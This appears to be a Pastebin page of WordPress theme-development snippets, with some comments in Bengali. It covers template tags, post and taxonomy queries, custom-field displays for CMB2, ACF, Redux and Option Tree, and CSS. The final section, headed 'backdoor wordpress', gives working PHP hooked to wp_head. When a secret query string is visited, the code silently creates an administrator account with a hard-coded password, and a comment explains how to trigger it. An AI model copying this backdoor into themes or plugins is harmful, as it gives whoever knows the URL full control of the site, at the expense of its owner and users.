Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- =====================
- TEMPLATE NAME
- ==================================
- <?php
- /*
- Template Name: Welcome Template
- */
- get_header(); ?>
- <?php get_footer(); ?>
- // যদি ul এ class থাকে তাহলে Menu এর location তে গিয়ে লিখতে হবে
- <?php wp_nav_menu(
- array(
- 'theme_location' => 'main-menu',
- 'menu_class' => 'nav',
- 'menu_id' => 'nav',
- 'container' => 'nav',
- 'container_class' => 'upper-nav',
- 'link_before' => '<span class="menu-text">',
- 'link_after' => '</span>',
- 'fallback_cb' => 'king_main_menu'
- ) );
- ?>
- <?php echo get_template_directory_uri(); ?>
- <?php echo get_theme_file_uri()?>
- <?php the_post_thumbnail('slider-image'); ?>
- or
- <?php the_post_thumbnail('slider-image', array('class' => 'imgthumb')); ?>
- or
- <?php if ( has_post_thumbnail() ): ?>
- <?php the_post_thumbnail('event-image'); ?>
- <?php else : ?>
- <img src="<?php echo get_template_directory_uri(); ?>/img/event_img1.png" alt="" />
- <?php endif; ?>
- // শুধু ইমেজের লিঙ্ক :
- <?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'post-image' ); echo $image[0]; ?>
- or
- <?php $featured_image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' ); ?>
- <img src="<?php echo $featured_image_url[0]; ?>" alt="" />
- // image with src link , alt text, title text
- <img src="<?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' ); echo $image[0]; ?>" alt="<?php $image_alt = get_post_meta(get_post_thumbnail_id( $post->ID ), '_wp_attachment_image_alt', TRUE); echo $image_alt; ?>" title="<?php $image_title = get_the_title(get_post_thumbnail_id( $post->ID )); echo $image_title;?>">
- //disable srcset from image wp responsive code
- add_filter( 'wp_calculate_image_srcset', '__return_false' );
- //customizer content display
- <?php echo get_theme_mod( 'welcome_bgimage' ); ?>
- <?php if($id === 0): ?> active<?php endif; ?>
- <?php esc_html_e( 'Skip to content', 'symbios' ); ?>
- <?php echo esc_url( home_url( '/' ) ); ?>
- <?php echo site_url(); ?>
- <?php echo bloginfo('url'); ?>
- <?php the_title(); ?>
- <?php the_date('F j, Y'); ?>
- <?php echo get_the_date('F j, Y'); ?>
- <?php the_time('g:i a'); ?>
- <?php the_content(); ?>
- <?php the_excerpt(); ?>
- <?php the_permalink(); ?>
- <?php the_author(); ?>
- <?php the_author_link(); ?>
- <?php get_sidebar(); ?>
- <?php get_template_part('file_name'); ?>
- <?php echo do_shortcode('');?>
- <?php comments_template( '', true ); ?>
- <?php comments_number('0', '1', '%'); ?>
- <?php echo wp_registration_url(); ?>
- <?php the_category(', '); ?>
- <?php wp_dropdown_categories('class=cat_select'); ?>
- <?php the_taxonomies(array('template' => '% %l')); ?>
- <?php echo get_the_term_list( $post->ID, 'project_cat', '', '', '' );?>
- <?php $terms_as_text = get_the_term_list( $post->ID, 'product_specialties', '', ', ', '' ) ; echo strip_tags($terms_as_text); ?>
- //This code for getting taxonomy with ul>li>a
- <?php
- $taxonomy = 'project_cat';
- $terms = get_terms('project_cat');
- ?>
- <ul id="home_links" class="fix">
- <?php
- foreach ($terms as $term) {
- $term_link = get_term_link( $term, 'project_cat' );
- if( is_wp_error( $term_link ) )
- continue;
- echo '<li><a href="' . $term_link . '">' . $term->name . '</a></li>';
- }
- ?>
- </ul>
- //This code for Taxonomy query
- <?php $terms = get_terms( array(
- 'taxonomy' => 'representante_cat',
- 'hide_empty' => true,
- ) );
- if ( !empty( $terms ) && !is_wp_error( $terms ) ){
- foreach ( $terms as $term ) { ?>
- <option value="<?php echo $term->term_id; ?>" ><?php echo $term->slug; ?></option>
- <?php }
- } ?>
- //This code for Child Taxonomy query without parent name with alphabetic title order
- $taxonomy_name = 'houseboats_cat';
- $parent_terms = get_terms( $taxonomy_name, array( 'parent' => 0, 'orderby' => 'slug', 'hide_empty' => false ) );
- echo '<ul>';
- foreach ( $parent_terms as $pterm ) {
- //Get the Child terms
- $terms = get_terms( $taxonomy_name, array( 'parent' => $pterm->term_id, 'orderby' => 'slug', 'hide_empty' => false ) );
- foreach ( $terms as $term ) {
- echo '<li><a href="' . get_term_link( $term ) . '">' . $term->name . '</a></li>';
- }
- }
- echo '</ul>';
- //This code for readmore past in target.php
- <?php the_excerpt(50); ?>
- /* for post excerpt latest. */
- <?php echo wp_trim_words( get_the_content(), 28, '...' ); ?>
- /* for Title excerpt . */
- <?php echo substr(the_title('', '', FALSE), 0, 37); ?>..
- /* widget call to template*/
- <?php dynamic_sidebar('your_widgets_id'); ?>
- ----- or -----------------
- <?php if ( ! dynamic_sidebar( 'your_widgets_id' ) ) : ?>
- // past your default code -এখানে fallback data এর div টি দিতে হবে//
- <?php endif; ?>
- /*for option tree theme option*/
- <?php
- $facebook = get_option_tree('facebook-link', '', false);
- ?>
- <?php echo $facebook; ?>
- ---------or----------------
- <?php get_option_tree( 'upload_logo', '', true ); ?>
- //Condtional Data
- <?php if ( function_exists( 'get_option_tree') ) : if( get_option_tree( 'header-logo') ) : ?>
- <img src="<?php get_option_tree( 'header-logo', '', true ); ?>" alt="" />
- <?php else : ?>
- <img src="<?php echo get_template_directory_uri(); ?>/img/logo.png" alt="" />
- <?php endif; endif; ?>
- /*for option tree meta box*/
- <?php
- $case_sub = get_post_meta($post->ID, 'case_sub', true);
- ?>
- <?php echo $case_sub; ?>
- ---------or----------------
- <?php echo get_post_meta($post->ID, 'head_banner', true); ?>
- /*for option tree metabox short code support */
- <?php
- $mixitup = get_post_meta($post->ID, 'mixitup', true);
- ?>
- <?php echo do_shortcode($mixitup); ?>
- //Post Query in index.php
- <?php if(have_posts()) : ?>
- <?php while (have_posts()) : the_post(); ?>
- <--Your Post Query here -->
- <?php endwhile; ?>
- <?php endif; ?>
- <!--or-->
- <?php if(have_posts()) : ?>
- <?php while (have_posts()) : the_post(); ?>
- <--Your Post Query here -->
- <?php endwhile; ?>
- <?php else : ?>
- <h3><?php _e('404 Error: Not Found'); ?></h3>
- <?php endif; ?>
- //Custom page Query in page dynamic
- <?php while(have_posts()) : the_post(); ?>
- <?php the_content(); ?>
- <?php endwhile; ?>
- <?php while(have_posts()) : the_post(); ?>
- <h2><?php the_title(); ?></h2>
- <?php endwhile; ?>
- // my new Post Query
- <?php $my_post = new WP_Query(array(
- 'post_type' => 'post',
- 'posts_per_page' => 3,
- ));
- if($my_post -> have_posts()):
- while($my_post -> have_posts()): $my_post -> the_post(); ?>
- == dynamic content ==
- <?php endwhile; endif; wp_reset_query(); ?>
- // my new Post Query with metaquery
- <?php $my_post = new WP_Query(array(
- 'post_type' => 'post',
- 'posts_per_page' => 3,
- 'meta_query' => array(
- array(
- 'key' => 'feature_checkbox',
- 'value' => 'on',
- 'compare' => 'LIKE',
- )
- )
- ));
- if($my_post -> have_posts()):
- while($my_post -> have_posts()): $my_post -> the_post(); ?>
- == dynamic content ==
- <?php endwhile; endif; wp_reset_query(); ?>
- //Post Query with taxonomy query by multiple taxonomy
- <?php $benefit_cat = get_terms( 'benefit_cat');
- if ( ! empty( $benefit_cat ) && ! is_wp_error( $benefit_cat ) ):
- foreach($benefit_cat as $term): $tag_id = $term->term_id;?>
- <div class="text-center"><strong><?php echo $term->name;?></strong></div>
- <?php
- $benifit_post= new WP_Query(array(
- 'post_type' => 'benefit-items',
- 'posts_per_page' => -1,
- 'tax_query' => array(
- array(
- 'taxonomy' => 'benefit_cat',
- 'field' => 'term_id',
- 'terms' => $tag_id,
- ),
- ),
- ));
- if($benifit_post -> have_posts()):
- while($benifit_post -> have_posts()): $benifit_post -> the_post(); ?>
- <div class="col-sm-6 col-md-4">
- <div class="benefit">
- <h4 class="benefit-title"><?php the_title();?></h4>
- <?php the_content();?>
- </div>
- </div>
- <?php endwhile; endif; wp_reset_query(); ?>
- <?php endforeach; endif; ?>
- //Post Query with taxonomy query by taxonomy id
- <?php $my_post = new WP_Query(array(
- 'post_type' => 'post',
- 'posts_per_page' => 3,
- 'tax_query' => array(
- array(
- 'taxonomy' => 'recipe_tx',
- 'field' => 'id',
- 'terms' => 37
- )
- )
- ));
- if($my_post -> have_posts()):
- while($my_post -> have_posts()): $my_post -> the_post(); ?>
- == dynamic content ==
- <?php endwhile; endif; wp_reset_query(); ?>
- // my new Post Query for multiple size/style post
- <?php
- $post_count = 1;
- $my_query = new WP_Query(array(
- 'post_type' => 'post',
- 'posts_per_page' => 7
- ));
- if($my_query->have_posts()):
- while($my_query->have_posts()): $my_query->the_post();
- if($post_count == 1): ?>
- == dynamic content for post one size ==
- <?php elseif($post_count == 2 || $post_count == 3): ?>
- == dynamic content for post another size ==
- <?php else: ?>
- == dynamic content for post another size ==
- <?php endif; $post_count++; endwhile; endif; wp_reset_query(); ?>
- //Custom Post Query in index.php
- <?php
- global $post;
- $args = array( 'posts_per_page' => -1, 'post_type'=> 'working-method', 'department_cat' => 'Commerical', 'p' => '30', 'orderby'=> 'title', 'order' => 'ASC' );
- $myposts = get_posts( $args );
- foreach( $myposts as $post ) : setup_postdata($post); ?>
- // Your Post Query here -->
- <?php endforeach; ?>
- //Custom Post Query for pagenavi support
- <?php
- $temp = $wp_query;
- $wp_query = null;
- $wp_query = new WP_Query();
- $wp_query->query('showposts=6&category_name=Beauty&post_type=post'.'&paged='.$paged);
- while ($wp_query->have_posts()) : $wp_query->the_post();
- ?>
- // Your Post Query here -->
- <?php endwhile; ?>
- <?php if (function_exists('wp_pagenavi')) { wp_pagenavi(); } else { include('navigation.php'); } ?>
- <?php
- $wp_query = null;
- $wp_query = $temp; // Reset
- ?>
- ----------------------or --------------------------
- // Post Query for pagenavi support
- <?php query_posts('post_type=post&post_status=publish&posts_per_page=30&paged='. get_query_var('paged')); ?>
- <?php if(have_posts()) : ?>
- <?php while (have_posts()) : the_post(); ?>
- // Your Post Query here -->
- <?php endwhile; ?>
- <?php endif; ?>
- <?php if (function_exists('wp_pagenavi')) { wp_pagenavi(); } else { include('navigation.php'); } ?>
- ----------------------or --------------------------
- <?php
- $term_ids = get_queried_object()->term_id;
- $my_post = new WP_Query(array(
- 'post_type' => 'business-items',
- 'posts_per_page' => 10,
- 'paged' => get_query_var('paged'),
- 'tax_query' => array(
- array(
- 'taxonomy' => 'business_mycat',
- 'field' => 'id',
- 'terms' => $term_ids
- )
- )
- ));
- while($my_post -> have_posts()): $my_post -> the_post(); ?>
- // Your Post Query here -->
- <?php endwhile;
- $total_pages = $my_post->max_num_pages;
- $big = 999999999;
- if ($total_pages > 1){
- $current_page = max(1, get_query_var('paged'));
- $list.= '<nav class="page-nav">';
- $list.= paginate_links(array(
- 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),
- 'format' => '?paged=%#%',
- 'current' => $current_page,
- 'total' => $total_pages,
- 'prev_text' => 'Prev',
- 'next_text' => 'Next'
- ));
- $list.= '</nav>';
- echo $list;
- }
- wp_reset_query();?>
- // Post Query for search page post count
- <?php
- if(isset($_GET['s'])){
- $search_keyword = $_GET['s'];
- }else{
- $search_keyword = "";
- }
- $my_post = new WP_Query(array(
- 'posts_per_page' => 4,
- 's' => $search_keyword,
- ));
- if($my_post -> have_posts()):
- while($my_post -> have_posts()): $my_post -> the_post(); ?>
- // single post content
- <?php endwhile; ?>
- <?php else : ?>
- <div class="blog_page_search_left fix" style="width:100%;text-align:center">
- <h2>No More Post</h2>
- </div>
- <?php endif; ?>
- =======================================
- /*Display CMB2 file_list item*/
- ----------------------------------
- <?php
- $images = get_post_meta($post->ID, 'light_image', true);
- foreach( $images as $image ) {
- echo '
- <img src="' . $image. '" alt="" />';
- }
- ?>
- / Display CMB2 file_list item with image title its mainly needed for lightbox
- <?php
- $images_list = get_post_meta($post->ID, 'galery_list', true);
- foreach( $images_list as $attachment_id => $attachment_url ) {
- $attachment_title = get_the_title($attachment_id);
- echo '<a title="'.$attachment_title.'" href="' . $attachment_url. '"></a>';
- } ?>
- /*Display CMB2 checkbox field with condition*/
- ----------------------------------
- <?php
- $idd = get_the_ID();
- $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' );
- $video_url= get_post_meta($idd, 'video_url', true);
- $video_check= get_post_meta($idd, 'video_checkbox', true);
- if($video_check == 'on'){
- $img_linkk = $video_url;
- $imag_clss = 'mfp-iframe';
- } else{
- $img_linkk = $image[0];
- $imag_clss = 'gallery-items';
- } ?>
- <a class="<?php echo $imag_clss; ?>" title="<?php the_title();?>" href="<?php echo $img_linkk; ?>"></a>
- ---------- or -------------
- <?php $pdfpop = get_post_meta($post->ID, 'pdf-pop', true); ?>
- <?php if($pdfpop == 'on'):?>
- //condition content
- <?php else :?>
- //default content
- <?php endif; ?>
- /*Display CMB2 checkbox field with condition into query*/
- ----------------------------------
- 'meta_query' => array(
- array(
- 'key' => 'feature_checkbox',
- 'value' => 'on',
- 'compare' => 'LIKE',
- ),
- ),
- /*Display CMB2 select field with condition*/
- ----------------------------------
- <?php
- $idd = get_the_ID();
- $select_big = get_post_meta($idd, 'select_big', true);
- if($select_big == 'Big'){
- $namdilam = 'grid-item--width2';
- } else{
- $namdilam = 'small_grid';
- }
- ?>
- <?php
- if($select_big == 'Big'){
- the_post_thumbnail('gallr-big');
- } else{
- the_post_thumbnail('galler-small');
- }
- ?>
- //display content when cm2 checkbox checked
- <?php $pdfpop = get_post_meta($post->ID, 'pdf-pop', true); ?>
- <?php if($pdfpop == 'on'):?>
- //condition content
- <?php else :?>
- //default content
- <?php endif; ?>
- /*Display CMB2 Date field*/
- ----------------------------------
- <?php
- $date = get_post_meta($post->ID, 'light_image', true);
- echo date("d/m/y", $date );
- ?>
- /*Display CMB2 Group item*/
- ----------------------------------
- <?php
- $meta_entries_pre = get_post_meta( get_the_ID(), 'repeat_group', true );
- $meta_entries_int = array_reverse( $meta_entries_pre );
- $meta_entries = array_slice( $meta_entries_int, 0, 3 );
- if( ! empty( $meta_entries ) ) { ?>
- <div class="escrts_testimonials_content fix">
- <?php foreach ( (array) $meta_entries as $key => $entry ) {
- $product_name = $product_description = $meta_link = '';
- if ( isset( $entry['author_testimonial'] ) ) $product_name = $entry['author_testimonial'];
- if ( isset( $entry['testimonial_desc'] ) ) $product_description = $entry['testimonial_desc'];
- if ( isset( $entry['product_image'] ) ) $product_image = esc_html( $entry['product_image'] ); ?>
- <li>
- ?>
- <div class="escorts_single_testimonial fix">
- <div class="escorts_test_cont fix">
- <p>“<?php echo $product_description; ?>”</p>
- <img src="<?php echo $product_image; ?>" alt="" />
- </div>
- <div class="escorts_test_owner fix">
- <p>– <?php echo $product_name; ?></p>
- </div>
- </div>
- <?php } ?>
- </div>
- <?php } ?>
- ====================================
- // for redux framework theme options
- ----------------------------------
- <?php global $my_theme; echo $my_theme['theme-favicon']; ?>
- ---- for image upload -------
- <?php global $my_theme; echo $my_theme['theme-favicon']['url']; ?>
- /* Redux Framework Slides display */
- ----------------------------------
- <?php
- global $my_theme;
- $reduxmid_widgets = $my_theme['home-widgetar'];
- foreach($reduxmid_widgets as $reduxmid_widget): ?>
- <div class="txt-cont">
- <h3><?php echo $reduxmid_widget['title'];?></h3>
- <div class="txt">
- <p> <span>
- <a href="<?php echo $reduxmid_widget['url'];?>">
- <img src="<?php echo $reduxmid_widget['image'];?>" alt="" title="" />
- </a></span><?php echo $reduxmid_widget['description'];?>
- </p>
- </div>
- </div>
- <?php endforeach; ?>
- /* Redux Framework Gallery display */
- ----------------------------------
- <?php
- global $my_theme;
- $reduxgallery = $my_theme['osprey-image'];
- $reduxgallerywe = explode (',', $reduxgallery);
- foreach($reduxgallerywe as $myPhotoID):
- ?>
- <img src="<?php echo wp_get_attachment_url( $myPhotoID ); ?>" alt="" class="standard"><br>
- <?php
- endforeach; ?>
- =======================================
- /* Hide Theme option Menu from wordpress dashboard Appearance*/
- ----------------------------------
- add_filter( 'ot_use_theme_options', '__return_false' );
- =======================================
- /*Option Tree Framework {Type Slider}*/
- ----------------------------------
- for metabox slider type query code fpr owl slider
- ----------------------------------
- //this code paste in metabox.php file
- array(
- 'id' => 'spyr_demo_slider',
- 'label' => __( 'Slider', 'text-domain' ),
- 'desc' => __( 'Your description', 'text-domain' ),
- 'type' => 'slider',
- )
- //this code paste in template.php file
- <?php
- $spyr_demo_slider = get_post_meta( $post->ID, 'spyr_demo_slider', true );
- echo '<div id="owl-demo" class="owl-theme">';
- foreach( $spyr_demo_slider as $slide ) {
- echo '<div class="item"><img src="'. $slide['image'] .'" width="100%" height="auto"
- alt="'. $slide['description'] .'" title="'. $slide['title'] .'" /></div>';
- }
- echo '</div>';
- ?>
- //for Theme option slider type query code fpr owl slider
- ----------------------------------------------
- //this code paste in template.php file
- <?php
- $spyr_demo_slider = ot_get_option( 'spyr_demo_slider' );
- echo '<div id="owl-demo" class="owl-theme">';
- foreach( $spyr_demo_slider as $slide ) {
- echo '<div class="item"><img src="'. $slide['image'] .'" width="100%" height="auto"
- alt="'. $slide['description'] .'" title="'. $slide['title'] .'" /></div>';
- }
- echo '</div>';
- ?>
- /*Option Tree Framework {Type gallery}*/
- ----------------------------------
- array(
- 'id' => 'your_id',
- 'label' => __( 'Slider', 'text-domain' ),
- 'type' => 'gallery',
- ),
- <?php
- if ( function_exists( 'ot_get_option' ) ) {
- $images = explode( ',', ot_get_option( 'your_id', '' ) );
- if ( ! empty( $images ) ) {
- foreach( $images as $id ) {
- if ( ! empty( $id ) ) {
- $full_img_src = wp_get_attachment_image_src( $id, 'your_crop_image' );
- echo '<li><img src="' . $full_img_src[0]. '"/></li>';
- }
- }
- }
- }
- ?>
- -----------------------------
- //for metabox gallery
- ----------------------------
- <?php
- if ( function_exists( 'ot_get_option' ) ) {
- $images = explode( ',', get_post_meta( get_the_ID(), 'feature_gallery', true ) );
- if ( !empty( $images ) ) {
- foreach( $images as $id ) {
- if ( !empty( $id ) ) {
- $full_img_src = wp_get_attachment_image_src( $id, 'post-image-galley' );
- echo '<li><img src="' . $full_img_src[0]. '"/></li>';
- }
- }
- }
- }
- ?>
- /*Option Tree Framework {Type List item}*/
- ----------------------------------
- <?php
- array(
- 'id' => 'id',
- 'label' => __( 'Item', 'option-tree-theme' ),
- 'desc' => __( 'Add your Items....!!' ),
- 'std' => '',
- 'type' => 'list-item',
- 'rows' => '',
- 'post_type' => '',
- 'taxonomy' => '',
- 'min_max_step'=> '',
- 'class' => '',
- 'condition' => '',
- 'operator' => 'and',
- 'settings' => array(
- array(
- 'id' => 'id_input',
- 'label' => 'Name',
- 'desc' => 'description',
- 'type' => 'text',
- ),
- )
- ),
- ?>
- <?php
- $list_item = ot_get_option( 'id', array() );
- if ( !empty( $list_item ) ) {
- echo '<div>';
- foreach( $list_item as $name ) {
- echo '<div>'.$name['title'].'</div>
- ';
- }
- echo '</div>';
- }
- ?>
- //Option Tree Framework {Type – On/Off}
- ---------------------------------------
- array(
- 'label' => 'On/OFF',
- 'id' => 'your_id',
- 'type' => 'on-off',
- 'desc' => 'Activate/Deactivated.',
- 'std' => 'on',
- 'section' => 'name'
- ),
- <?php ?>
- <?php if ( ot_get_option('id') != "off" ) { ?>
- keep your code here where you want to give on/off function
- <?php } ?>
- ========
- // for metabox
- <?php ?>
- <?php if ( get_post_meta( $post->ID, 'money_back_id', true ) != "off" ) { ?>
- eep your code here where you want to give on/off function
- <?php } ?>
- //this code is for specific page metabox
- --------------------------------------------
- function custom_meta_boxes() {
- $price_page_meta_box = array(
- 'id' => 'price_page_meta_box',
- 'title' => 'Pricing Page Table Information',
- 'desc' => '',
- 'pages' => array( 'page' ),
- 'context' => 'normal',
- 'priority' => 'high',
- 'fields' => array(
- array(
- 'label' => 'Pricing Page Table Head',
- 'id' => 'pric_table_head',
- 'std' => '',
- 'type' => 'textarea'
- ),
- )
- );
- $post_id = $_GET['post'] ? $_GET['post'] : $_POST['post_ID'];
- $template_file = get_post_meta($post_id, '_wp_page_template', TRUE);
- if ($template_file == 'price-newmeta.php') {
- ot_register_meta_box( $price_page_meta_box );
- }
- }
- ------------------------------------
- CMB2 radio Button with condition
- ----------------------------
- <?php $cdn_ratings = get_post_meta($post->ID, 'testi_rating', true);
- if($cdn_ratings == 'one_star'){
- echo '<span class="fa fa-star"></span>';
- }elseif($cdn_ratings == 'two_star'){
- echo '<span class="fa fa-star"></span><span class="fa fa-star"></span>';
- }elseif($cdn_ratings == 'three_star'){
- echo '<span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span>';
- }elseif($cdn_ratings == 'four_star'){
- echo '<span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span>';
- }elseif($cdn_ratings == 'five_star'){
- echo '<span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span>';
- }else{
- echo '<span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span><span class="fa fa-star"></span>';
- } ?>
- ------------------------------------
- ACF radio Button with condition
- ----------------------------
- $cdn_ratings = get_field('provider_rating');
- if($cdn_ratings == 1){
- echo '<span class="rating"><i class="fa fa-star"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i></span>';
- }elseif($cdn_ratings == 2){
- echo '<span class="rating"><i class="fa fa-star"></i><i class="fa fa-star"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i><i class="fa fa-star-o"></i></span>';
- }else{
- // No ratings
- }
- ------------------------------
- //search form query code
- -----------------------------
- <div class="form_search_area fix">
- <?php $unique_id = esc_attr( uniqid( 'search-form-' ) ); ?>
- <form role="search" method="get" class="search-form" action="<?php echo site_url(); ?>/">
- <label class="serch_formlabel" for="<?php echo $unique_id; ?>">
- <?php echo _x( 'Search for:', 'label', 'mytheme' ); ?>
- </label>
- <input type="text" name="s" id="<?php echo $unique_id; ?>" class="search_input" placeholder="<?php echo esc_attr_x( 'Search …', 'placeholder', 'mytheme' ); ?>" value="<?php echo get_search_query(); ?>" />
- <input type="submit" value="search" class="search_submit" />
- </form>
- </div>
- //Changing The Number Of Results Per Page for search page
- function king_search_posts_per_page($query) {
- if ( $query->is_search ) {
- $query->set( 'posts_per_page', '10' );
- }
- return $query;
- }
- add_filter( 'pre_get_posts','king_search_posts_per_page' );
- // get page link dynamically
- =============================
- function king_get_portfolio_id() {
- $portfolio_ID = "";
- $pages = get_pages(array(
- 'meta_key' => '_wp_page_template',
- 'meta_value' => 'page-portfolio.php',
- 'hierarchical' => 0,
- 'post-type' => 'page',
- 'sort_column' => 'post_date',
- 'number' => 1
- ));
- foreach($pages as $page){
- $portfolio_ID = $page->ID;
- }
- return $portfolio_ID;
- }
- <?php
- $portfolio_page_id = king_get_portfolio_id();
- if($portfolio_page_id) { ?>
- <div class="nav-portfolio <?php if(!get_next_post()){ echo 'inactive'; }?>">
- <a href="<?php echo esc_url( get_permalink($portfolio_page_id) ); ?>"></a>
- </div>
- <?php }
- ?>
- ============================================================
- //--------- Change the title and move the Featured Image box ------------
- ----------------------------------
- function customposttype_image_box() {
- remove_meta_box('postimagediv', 'your-post-type', 'side');
- add_meta_box('postimagediv', __('Banner Image - The image that appears at the top of the page, size should be 760 x 155 pixels'), 'post_thumbnail_meta_box', 'your-post-type', 'normal', 'high');
- }
- add_action('do_meta_boxes', 'customposttype_image_box');
- //current page taxonomy name and info
- ----------------
- $termss = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );echo $termss->name;
- $terms = get_terms( 'product_cat', $termss );
- if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
- foreach ( $terms as $term ) {
- $category_name = $term->name;
- $category_description = $term->description;
- $category_link = esc_url( get_term_link( $term ) );
- echo $category_name;
- echo $category_description;
- echo $category_link;
- //your content
- }
- }
- //current child page parent taxonomy name and info
- ----------------
- $termss = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );
- $parent_id = $termss->parent;
- $parent_term = get_term_by('id', $parent_id, 'category');echo $parent_term->name;
- $terms = get_terms( 'product_cat', $parent_term );
- if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
- foreach ( $terms as $term ) {
- $category_name = $term->name;
- $category_description = $term->description;
- $category_link = esc_url( get_term_link( $term ) );
- echo $category_name;
- echo $category_description;
- echo $category_link;
- //your content
- }
- }
- // query for only parent category info with ACF category metafield
- ---------------------------
- $args = array( 'hide_empty=0' );
- $terms = get_terms( 'product_cat', array( 'parent' => 0 ),$args );
- if ( ! empty( $terms ) && ! is_wp_error( $terms ) ) {
- foreach ( $terms as $term ) {
- $category_name = $term->name;
- $category_description = $term->description;
- $category_link = esc_url( get_term_link( $term ) );
- $category_banner = get_field( "category_banner", $term );
- //content
- echo '<a href="'.$category_link.'">'.$category_name.'</a>';
- }
- }
- //get taxonomy link
- -------------------------------------------
- $category_link = esc_url( get_term_link( $child_term ) );
- //get taxonomy terms for parent and child
- -------------------------------------------
- foreach( get_terms( 'products-category', array( 'hide_empty' => false, 'parent' => 0 ) ) as $parent_term ) {
- // display top level term name
- echo $parent_term->name . '<br>';
- foreach( get_terms( 'products-category', array( 'hide_empty' => false, 'parent' => $parent_term->term_id ) ) as $child_term ) {
- // display name of all childs of the parent term
- echo $child_term->name . '<br>';
- }
- }
- // video player video js html5 with responsive
- <link href="http://vjs.zencdn.net/5.0.2/video-js.css" rel="stylesheet">
- <script src="http://vjs.zencdn.net/ie8/1.1.0/videojs-ie8.min.js"></script>
- <script src="http://vjs.zencdn.net/5.0.2/video.js"></script>
- <video id="myvideo" class="video-js vjs-default-skin vjs-fluid vjs-big-play-centered vjs-16-9 vjs-4-3" controls
- preload="auto" width="640" height="264" poster="<?php echo get_theme_file_uri();?>/img/img-1.png"
- data-setup='{"fluid": true}'>
- <source src="http://vjs.zencdn.net/v/oceans.mp4" type='video/mp4'>
- </video>
- --//resource https://coolestguidesontheplanet.com/videodrome/videojs/
- // Get video ID From youtube url link by CMB2 type oembed
- <?php
- $video_iframe = esc_url( get_post_meta( get_the_ID(), 'acc-video', 1 ) );
- $video_link = explode('youtube.com/watch?v=', $video_iframe);
- $YouTubeVideo = $video_link[1];
- ?>
- <iframe width="100%" height="100%" src="https://www.youtube.com/embed/<?php echo $YouTubeVideo; ?>" frameborder="0" allowfullscreen></iframe>
- // Get video ID From youtube url link by Redux framework
- <?php
- $video_iframe = $my_theme['youtube-link'];
- $video_link = explode('youtube.com/watch?v=', $video_iframe);
- $YouTubeVideo = $video_link[1];
- ?>
- <iframe width="100%" height="100%" src="https://www.youtube.com/embed/<?php echo $YouTubeVideo; ?>" frameborder="0" allowfullscreen></iframe>
- // Get video ID From youtube url link by ACF framework
- <?php
- $video_iframe = get_field('video_hsamm', false, false);
- $video_link = explode('youtube.com/watch?v=', $video_iframe);
- $YouTubeVideo = $video_link[1];
- echo $YouTubeVideo;
- ?>
- <iframe width="100%" height="100%" src="//www.youtube.com/embed/qUJYqhKZrwA?autoplay=0&showinfo=0&controls=0" frameborder="0" allowfullscreen>
- --------------------------------------------------
- <p>SITE BY: <a href="https://www.jegdesign.com/" target="_blank">JEG DESIGN INC</a></p>
- //shortcode example
- function core_list_shortcode( $atts, $content = null ) {
- extract( shortcode_atts( array(
- 'id' => '',
- ), $atts ) );
- return 'jQuery("#codeapp'.$id.'").show();';
- }
- add_shortcode('core', 'core_list_shortcode');
- // responsive query css
- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
- ===========================================
- /* Desktop Layout: 970px. */
- @media (min-width: 992px) {
- }
- /* Desktop Layout: 1200px. */
- @media (min-width: 1200px) {
- }
- /* Tablet Layout: 768px. */
- @media only screen and (min-width: 768px) and (max-width: 991px) {
- }
- /* Mobile Layout: 320px. */
- @media only screen and (max-width: 767px) {
- }
- /* Wide Mobile Layout: 480px. */
- @media only screen and (min-width: 480px) and (max-width: 767px) {
- }
- // Child Theme Enqueue Script
- ----------------
- add_action('wp_enqueue_scripts', 'theme_js');
- function theme_js() {
- wp_enqueue_script( 'theme_js', get_stylesheet_directory_uri() . '/js/custom.js', array( 'jquery' ), '1.0', true );
- // This will point to style.css in child theme
- wp_enqueue_style( 'my_child_styles', get_stylesheet_directory_uri().'/style.css' );
- // This will point to style.css in the parent theme
- wp_enqueue_style( 'my_parent_styles', get_template_directory_uri().'/style.css' );
- }
- // twol column list
- -----------------
- ul {
- columns: 2;
- -webkit-columns: 2;
- -moz-columns: 2;
- }
- // css for masonay style
- ----------------
- .gallery_item_wrapper {
- -moz-column-count: 2;
- -webkit-column-count: 2;
- -moz-column-gap: 10px;
- -webkit-column-gap: 10px;
- }
- .gallery_single {
- display: inline-block;
- width: 100%;
- margin-bottom: 4px;
- }
- // css for center title or icon
- ------------------
- <div class="menu_item_single">
- <span class="menu_title">
- <h2>LUNCH</h2>
- </span>
- </div>
- .menu_item_single span.menu_title {
- position: absolute;
- top: 0;
- left: 0;
- bottom: 0;
- right: 0;
- background: rgba(56, 50, 71, 0.58);
- display: flex;
- justify-content: center;
- align-items: center;
- }
- =======================
- backdoor wordpress
- =======================
- -------- or ---------------
- add_action('wp_head', 'wploop_backdoor');
- function wploop_backdoor() {
- If ($_GET['backdoor'] == 'knockknock') {
- require('wp-includes/registration.php');
- If (!username_exists('username')) {
- $user_id = wp_create_user('adminnew', '123asd456');
- $user = new WP_User($user_id);
- $user->set_role('administrator');
- }
- }
- }
- If you leave the code as it is, all you would have to do to create a new admin on the site is visit http://www.yourdomain.com/?backdoor=knockknock
- https://my.bluehost.com/cgi/token
Advertisement
Add Comment
Please, Sign In to add comment